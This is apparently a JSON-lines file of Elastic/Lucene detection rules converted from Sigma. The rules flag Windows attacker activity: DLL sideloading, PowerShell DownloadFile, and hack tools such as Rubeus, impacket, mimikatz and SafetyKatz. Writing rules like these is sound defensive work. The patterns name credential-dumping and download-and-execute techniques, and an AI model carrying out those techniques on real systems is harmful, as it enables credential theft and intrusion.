(process.executable:*\\\\HTML\\ Help\\ Workshop\\\\*)))) OR (process.executable:*\\\\hkcmd.exe AND (NOT (process.executable:(*\\\\System32\\\\* OR *\\\\SysNative\\\\* OR *\\\\SysWow64\\\\*))))) OR (process.executable:*\\\\Mc.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Visual\\ Studio* OR *\\\\Microsoft\\ SDK* OR *\\\\Windows\\ Kit*))))) OR (process.executable:*\\\\MsMpEng.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Security\\ Client\\\\* OR *\\\\Windows\\ Defender\\\\* OR *\\\\AntiMalware\\\\*))))) OR (process.executable:*\\\\msseces.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Security\\ Center\\\\* OR *\\\\Microsoft\\ Security\\ Client\\\\* OR *\\\\Microsoft\\ Security\\ Essentials\\\\*))))) OR (process.executable:*\\\\OInfoP11.exe AND (NOT (process.executable:*\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\*)))) OR (process.executable:*\\\\OleView.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Visual\\ Studio* OR *\\\\Microsoft\\ SDK* OR *\\\\Windows\\ Kit* OR *\\\\Windows\\ Resource\\ Kit\\\\*))))) OR (process.executable:*\\\\rc.exe AND (NOT (process.executable:(*\\\\Microsoft\\ Visual\\ Studio* OR *\\\\Microsoft\\ SDK* OR *\\\\Windows\\ Kit* OR *\\\\Windows\\ Resource\\ Kit\\\\* OR *\\\\Microsoft.NET\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e8794a04-3127-e811-c017-07da509762da", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AzureHound PowerShell Commands", "query": "powershell.file.script_block_text:*Invoke\\-AzureHound*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1069", "T1069", "T1069", "T1087", "T1087", "T1087", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer (@austinsonger)"], "license": ""}
{"description": "Detects the execution of CSharp interactive console by PowerShell", "enabled": false, "false_positives": ["Possible depending on environment. Pair with other factors such as net connections, command-line args, etc."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e71c3338-1c9d-de23-c229-a6d3be8c7366", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Use of CSharp Interactive Console", "query": "(process.executable:*\\\\csi.exe AND process.parent.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\powershell_ise.exe) AND winlog.event_data.OriginalFileName:\"csi.exe\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1127"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Michael R. (@nahamike01)"], "license": ""}
{"description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a2b71f54-f3f6-15c6-f465-d5d92addd105", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious CustomShellHost Execution", "query": "(process.parent.executable.text:*\\\\CustomShellHost.exe AND (NOT (process.executable.text:\"C\\:\\\\Windows\\\\explorer.exe\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f0b3982e-6267-d852-3d70-5418fa124bc4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DeviceCredentialDeployment Execution", "query": "process.executable.text:*\\\\DeviceCredentialDeployment.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)", "enabled": false, "false_positives": ["Legitimate use of the impacket tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "317eb9b8-919a-8a43-fe54-cd19e47ed3f6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Impacket Tool Execution", "query": "(process.executable.text:(*\\\\goldenPac* OR *\\\\karmaSMB* OR *\\\\kintercept* OR *\\\\ntlmrelayx* OR *\\\\rpcdump* OR *\\\\samrdump* OR *\\\\secretsdump* OR *\\\\smbexec* OR *\\\\smbrelayx* OR *\\\\wmiexec* OR *\\\\wmipersist*) OR process.executable.text:(*\\\\atexec_windows.exe OR *\\\\dcomexec_windows.exe OR *\\\\dpapi_windows.exe OR *\\\\findDelegation_windows.exe OR *\\\\GetADUsers_windows.exe OR *\\\\GetNPUsers_windows.exe OR *\\\\getPac_windows.exe OR *\\\\getST_windows.exe OR *\\\\getTGT_windows.exe OR *\\\\GetUserSPNs_windows.exe OR *\\\\ifmap_windows.exe OR *\\\\mimikatz_windows.exe OR *\\\\netview_windows.exe OR *\\\\nmapAnswerMachine_windows.exe OR *\\\\opdump_windows.exe OR *\\\\psexec_windows.exe OR *\\\\rdp_check_windows.exe OR *\\\\sambaPipe_windows.exe OR *\\\\smbclient_windows.exe OR *\\\\smbserver_windows.exe OR *\\\\sniffer_windows.exe OR *\\\\sniff_windows.exe OR *\\\\split_windows.exe OR *\\\\ticketer_windows.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1557"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "af7e2878-2ac1-6898-5546-c209857573b3", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Emissary Panda Malware SLLauncher", "query": "(process.parent.executable:*\\\\sllauncher.exe AND process.executable:*\\\\svchost.exe)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40269a26-8a40-122b-8331-58688f6d41f3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Format.com FileSystem LOLBIN", "query": "((process.executable:*\\\\format.com AND process.command_line:*\\/fs\\:*) AND (NOT ((process.command_line:(*\\/fs\\:FAT* OR *\\/fs\\:exFAT* OR *\\/fs\\:NTFS* OR *\\/fs\\:UDF* OR *\\/fs\\:ReFS*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "989e4a29-c7bd-be73-6bf1-308694a9f06a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Node Process Executions", "query": "(process.executable:*\\\\Adobe\\ Creative\\ Cloud\\ Experience\\\\libs\\\\node.exe AND (NOT (process.command_line:*Adobe\\ Creative\\ Cloud\\ Experience\\\\js*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
{"description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "16ac09af-f49f-bf94-bbd9-4d579e6e0e79", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell DownloadFile", "query": "(process.command_line:*powershell* AND process.command_line:*.DownloadFile* AND process.command_line:*System.Net.WebClient*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1104", "T1105"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' subkeys", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "961482ab-49c0-884c-30e9-c2f4bf1e2a0f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Enabling RDP Service via Reg.exe", "query": "((process.executable.text:*\\\\reg.exe AND process.command_line.text:*\\ add\\ * AND process.command_line.text:*\\\\CurrentControlSet\\\\Control\\\\Terminal\\ Server* AND process.command_line.text:*REG_DWORD* AND process.command_line.text:*\\ \\/f*) AND ((process.command_line.text:*Licensing\\ Core* AND process.command_line.text:*EnableConcurrentSessions*) OR process.command_line.text:(*WinStations\\\\RDP\\-Tcp* OR *MaxInstanceCount* OR *fEnableWinStation* OR *TSUserEnabled* OR *TSEnabled* OR *TSAppCompat* OR *IdleWinStationPoolCount* OR *TSAdvertise* OR *AllowTSConnections* OR *fSingleSessionPerUser* OR *fDenyTSConnections*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Lateral Movement", "T1021", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@Kostastsale", "@TheDFIRReport", "slightly modified by pH-T"], "license": ""}
{"description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.", "author": ["Eli Salem", "Sander Wiebing", "oscd.community"], "enabled": false, "false_positives": ["Legitimate modification of keys"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d07094e5-fa67-7a6c-1558-34c62641104f", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Modifies the Registry From a File", "query": "(((process.executable.text:*\\\\regini.exe) OR (winlog.event_data.OriginalFileName:\"REGINI.EXE\")) AND (NOT ((process.command_line.text:/:/ OR process.command_line.text:/[/ OR process.command_line.text:/^/ OR process.command_line.text:/ / OR process.command_line.text:/\\/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the execution of rundll32 with a command line that doesn't contain a .dll file", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "71b15ebb-dd90-6618-30ff-43a8a116f926", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Rundll32 Execution Without DLL File", "query": "(process.executable.text:*\\\\rundll32.exe AND (NOT ((NOT _exists_:process.command_line.text) OR (process.command_line.text:*.dll* OR process.command_line.text:\"\") OR (process.parent.executable.text:*\\:\\\\Program\\ Files\\\\Internet\\ Explorer\\\\iexplore.exe AND process.command_line.text:*.cpl*) OR (process.parent.executable.text:*\\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe AND process.parent.command_line.text:C\\:\\\\Windows\\\\syswow64\\\\MsiExec.exe\\ \\-Embedding*) OR (process.parent.executable.text:*\\:\\\\Windows\\\\System32\\\\msiexec.exe AND process.parent.command_line.text:C\\:\\\\Windows\\\\system32\\\\MsiExec.exe\\ \\-Embedding*) OR (process.parent.executable.text:*\\:\\\\Windows\\\\System32\\\\cmd.exe AND process.parent.command_line.text:*\\ C\\:\\\\Program\\ Files\\\\SplunkUniversalForwarder\\\\*) OR (process.command_line.text:*\\ \\-localserver\\ *))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tim Shelton", "Florian Roth", "Yassine Oukessou (fix + fp)"], "license": ""}
{"description": "Detects the execution of SecurityXploded Tools", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8030ac32-f63c-6811-9559-e7f457b05f4e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SecurityXploded Tool", "query": "(Company:\"SecurityXploded\" OR process.executable:*PasswordDump.exe OR winlog.event_data.OriginalFileName:*PasswordDump.exe)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ab314576-d3a6-dc19-6419-89d28b74b2ed", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Sigverif Execution", "query": "process.parent.executable.text:*\\\\sigverif.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "341af256-f4dc-de9e-3b96-2ff48eb83a53", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Rubeus Hack Tool", "query": "(process.executable.text:*\\\\Rubeus.exe OR winlog.event_data.OriginalFileName:\"Rubeus.exe\" OR winlog.event_data.Description:\"Rubeus\" OR process.command_line.text:(*\\ asreproast\\ * OR *\\ dump\\ \\/service\\:krbtgt\\ * OR *\\ kerberoast\\ * OR *\\ createnetonly\\ \\/program\\:* OR *\\ ptt\\ \\/ticket\\:* OR *\\ \\/impersonateuser\\:* OR *\\ renew\\ \\/ticket\\:* OR *\\ asktgt\\ \\/user\\:* OR *\\ harvest\\ \\/interval\\:* OR *\\ s4u\\ \\/user\\:* OR *\\ s4u\\ \\/ticket\\:* OR *\\ hash\\ \\/password\\:*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "Lateral Movement", "T1003", "T1550", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "02e43e12-181e-cb63-1e8f-58dd398e2918", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SafetyKatz Hack Tool", "query": "(process.executable.text:*\\\\SafetyKatz.exe OR winlog.event_data.OriginalFileName:\"SafetyKatz.exe\" OR winlog.event_data.Description:\"SafetyKatz\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc140b3f-71f5-6d26-886a-e40262f22518", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SysmonEOP Hack Tool", "query": "((process.executable.text:*\\\\SysmonEOP.exe) OR (winlog.event_data.Hashes:(\"IMPHASH=22F4089EB8ABA31E1BB162C6D9BF72E5\" OR \"IMPHASH=5123FA4C4384D431CD0D893EEB49BBEC\")) OR (winlog.event_data.Imphash:(\"22f4089eb8aba31e1bb162c6d9bf72e5\" OR \"5123fa4c4384d431cd0d893eeb49bbec\")))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the execution of the PurpleSharp adversary simulation tool", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "de6225fc-ed00-1552-025d-9536aaff6b36", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "PurpleSharp Indicator", "query": "(process.command_line:(*xyz123456.exe* OR *PurpleSharp*) OR winlog.event_data.OriginalFileName:\"PurpleSharp.exe\")", "meta": {"from": "1m"}, "severity": "critical", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of whoami that has been renamed to a different name to avoid detection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "544f34e3-1fc0-8773-056e-7d4017608cc3", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Renamed Whoami Execution", "query": "(winlog.event_data.OriginalFileName:\"whoami.exe\" AND (NOT (process.executable.text:*\\\\whoami.exe)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of whoami with suspicious parents or parameters", "enabled": false, "false_positives": ["Admin activity", "Scripts and administrative tools used in the monitored environment", "Monitoring activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d3dda6ae-1f21-3ce9-2cb1-b2ab4a3d304b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Whoami Execution Anomaly", "query": "(((process.executable.text:*\\\\whoami.exe OR winlog.event_data.OriginalFileName:\"whoami.exe\") AND (NOT ((process.parent.executable.text:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\powershell_ise.exe)) OR (process.parent.executable.text:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Monitoring\\ Agent\\\\Agent\\\\MonitoringHost.exe\" OR \"\")) OR (NOT _exists_:process.parent.executable.text)))) OR process.command_line.text:(*whoami\\ \\-all* OR *whoami\\ \\/all* OR *whoami.exe\\ \\-all* OR *whoami.exe\\ \\/all* OR *whoami.exe\\ >* OR *whoami\\ >*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation but rarely used by administrators", "enabled": false, "false_positives": ["Admin activity", "Scripts and administrative tools used in the monitored environment", "Monitoring activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5cb91f30-ebd8-20aa-f32f-a525a2213af2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Whoami Execution", "query": "(process.executable:*\\\\whoami.exe OR winlog.event_data.OriginalFileName:\"whoami.exe\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll", "enabled": false, "false_positives": ["Windows installed on non-C drive"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3d31347b-4967-af97-5aba-65cd10ee6d76", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Xwizard DLL Sideloading", "query": "(process.executable:*\\\\xwizard.exe AND (NOT (process.executable:C\\:\\\\Windows\\\\System32\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll", "enabled": false, "false_positives": ["Windows installed on non-C drive"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3d31347b-4967-af97-5aba-65cd10ee6d76", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Xwizard DLL Sideloading", "query": "(process.executable.text:*\\\\xwizard.exe AND (NOT (process.executable.text:C\\:\\\\Windows\\\\System32\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c34afc8a-450a-7d85-c98c-9fcaa4a1c606", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Custom Class Execution via Xwizard", "query": "(process.executable:*\\\\xwizard.exe AND process.command_line:/{[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}}/)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ensar \u015eamil", "@sblmsrsn", "@oscd_initiative"], "license": ""}
{"description": "Detects the execution utitilies often found in Visual Studio tools that hardcode the call to the binary \"link.exe\". They can be abused to sideload any binary with the same name", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "228a8062-cf2f-0c95-fe34-959f3535fbfa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Sideloading Link.EXE", "query": "((process.executable.text:*\\\\link.exe AND process.command_line.text:*LINK\\ \\/*) AND (NOT ((process.parent.executable.text:(C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio\\\\*) AND process.parent.executable.text:*\\\\VC\\\\Tools\\\\MSVC\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
